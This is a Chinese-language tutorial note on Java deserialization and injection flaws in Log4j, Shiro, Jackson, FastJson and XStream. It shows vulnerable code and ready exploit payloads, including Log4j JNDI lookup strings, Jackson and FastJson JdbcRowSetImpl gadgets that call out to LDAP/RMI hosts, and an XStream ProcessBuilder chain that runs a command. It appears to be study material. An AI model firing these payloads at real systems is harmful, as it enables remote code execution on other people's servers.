JavaSec 基础之五大不安全组件

文章目录

不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j

Log4j

Apache的一个开源项目,是一个基于Java的日志记录框架。

历史漏洞:https://avd.aliyun.com/search?q=Log4j

java 复制代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
 public String log4j(String content) {
        logger.error(content);
        return "Log4j2 JNDI Injection";
    }

Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。

这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容的ldap协议内容(如:${jndi:ldap://localhost:9999/Test}),

该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。

payloadxxxx

java 复制代码
${jndi:rmi://xxxx:1099/xy9t54}
${jndi:ldap://xxxxx:1389/qerodw}

弹计算器本地才能发现,所以我们检测是否为注入可以 yakit dns 外带。

Shiro

Java安全框架,能够用于身份验证、授权、加密和会话管理。

历史漏洞:https://avd.aliyun.com/search?q=Shiro

登录抓包复制地址

Jackson

当下流行的json解释器,主要负责处理Json的序列化和反序列化。

历史漏洞:https://avd.aliyun.com/search?q=Jackson

Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,

攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 TemplatesImpl,可以实现任意代码执行。

java 复制代码
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Object o = mapper.readValue(content, Object.class);

payload

["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":"true"}]

把 jndi 部分替换成公网

FastJson

历史漏洞:https://avd.aliyun.com/search?q=fastjson

Fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean

java 复制代码
JSONObject jsonToObject = JSON.parseObject(content);
return jsonToObject.get("name").toString();

版本可以从外部导入库查看也可查看 pom.xml 配置文件

payload:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://jndi.fuzz.red:5/ahld/test","autoCommit":true}

XStream

XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。

XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用sun.rmi.registry.RegistryImpl_Stub构造RMI请求,进而执行任意命令。

历史漏洞:https://avd.aliyun.com/search?q=XStream

java 复制代码
 XStream xs = new XStream();
xs.fromXML(content);

payload

这个倒是没用到 jndi,

java 复制代码
<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc</string></command></target><action>start</action></handler></dynamic-proxy></sorted-set>
相关推荐
newxtc1 小时前
【爱给网-注册安全分析报告-无验证方式导致安全隐患】
前端·chrome·windows·安全·媒体
2407-2 shw2 小时前
weblogic CVE-2018-2894 靶场攻略
java·运维·服务器·安全·weblogic
xiaojiesec4 小时前
第159天:安全开发-Python-协议库爆破&FTP&SSH&Redis&SMTP&MYSQL等
运维·安全·ssh
世界尽头与你4 小时前
安全热点问题
安全·网络安全
小小工匠5 小时前
加密与安全_HTTPS TLS 1.2 连接(RSA 握手)的整个过程解读
安全·https·tls
low神6 小时前
前端在网络安全攻击问题上能做什么?
前端·安全·web安全
云卓科技7 小时前
无人机之激光避障篇
科技·安全·机器人·无人机·制造
网络研究院7 小时前
大型语言模型 (LLM) 劫持攻击不断升级,导致每天损失超过 100,000 美元
网络·人工智能·安全·语言模型·攻击·劫持
网络研究院8 小时前
企业急于采用人工智能,忽视了安全强化
网络·人工智能·安全·工具·风险·企业
白帽黑客cst8 小时前
网络安全(黑客技术) 最新三个月学习计划
网络·数据结构·windows·学习·安全·web安全·网络安全